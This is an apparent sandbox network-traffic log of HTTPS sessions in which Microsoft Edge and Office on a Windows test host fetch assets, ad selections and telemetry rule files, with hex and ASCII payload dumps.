PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49870	13.107.246.40	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:36 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:36 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:36 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T100536Z-174f78459685m244hC1EWRgp2c0000000y1g0000000089sn Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:36 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8abd9dd7-e01e-0099-194f-41da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100536Z-174f78459684bddphC1EWRbht40000000xwg00000000act5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:36 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7e595f47-c01e-0049-281b-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100537Z-174f7845968pght8hC1EWRyvxg00000001cg000000006a6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100537Z-174f7845968zgtf6hC1EWRqd8s0000000r60000000006kq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:36 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100537Z-174f7845968l4kp6hC1EWRe8840000000ydg000000009qxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49882	108.139.47.108	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	925	OUT	GET /b?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 10:05:37 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 28 Nov 2024 10:05:37 GMT Location: /b2?rn=1732794601278&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E27FF0838006C7C38C4EA4D39726D3F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=103664f78d1f1c196b2cc191732788337; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=103664f78d1f1c196b2cc191732788337; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 aea539314dea6e591d10d79d61e42090.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: J-Yeo0qNjjCz3U3yT8dMMzpNmyiaUAaH-MWT3RIfmV44nQSCe_10Nw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49881	20.110.205.119	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	1175	OUT	GET /c.gif?rnd=1732794601277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=52774db8804d4ee0a3d6f3bc67acd2b6&activityId=52774db8804d4ee0a3d6f3bc67acd2b6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
2024-11-28 10:05:37 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732794601277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=52774db8804d4ee0a3d6f3bc67acd2b6&activityId=52774db8804d4ee0a3d6f3bc67acd2b6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C925CAC1AE6A49EAAE0763AA1B869BE1&RedC=c.msn.com&MXFR=3E27FF0838006C7C38C4EA4D39726D3F Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3E27FF0838006C7C38C4EA4D39726D3F; domain=.msn.com; expires=Tue, 23-Dec-2025 10:05:37 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Thu, 28 Nov 2024 10:05:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49883	23.101.168.44	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3E27FF0838006C7C38C4EA4D39726D3F&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=6d21883fd223439e8c253e5a7faf7676 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
2024-11-28 10:05:37 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 10:05:37 GMT Connection: close
2024-11-28 10:05:37 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49879	13.89.179.11	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732794601275&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3782 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
2024-11-28 10:05:37 UTC	3782	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 38 54 31 31 3a 35 30 3a 30 31 2e 32 37 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 34 30 30 62 63 34 37 2d 63 34 62 34 2d 34 33 30 35 2d 39 62 32 33 2d 62 31 34 66 35 30 31 61 39 33 65 62 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 33 31 39 32 37 36 33 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-28T11:50:01.270Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"5400bc47-c4b4-4305-9b23-b14f501a93eb","epoch":"3431927632"},"app":{"locale
2024-11-28 10:05:37 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f049101689a547efb155f1a004753349&HASH=f049&LV=202411&V=4&LU=1732788337345; Domain=.microsoft.com; Expires=Fri, 28 Nov 2025 10:05:37 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=71e5dc9ad82c473dac58a87f001e08bd; Domain=.microsoft.com; Expires=Thu, 28 Nov 2024 10:35:37 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6263930 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 28 Nov 2024 10:05:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:37 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100537Z-174f7845968glpgnhC1EWR7uec0000000yc0000000008ty6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:37 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49885	104.117.182.59	443	7580	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
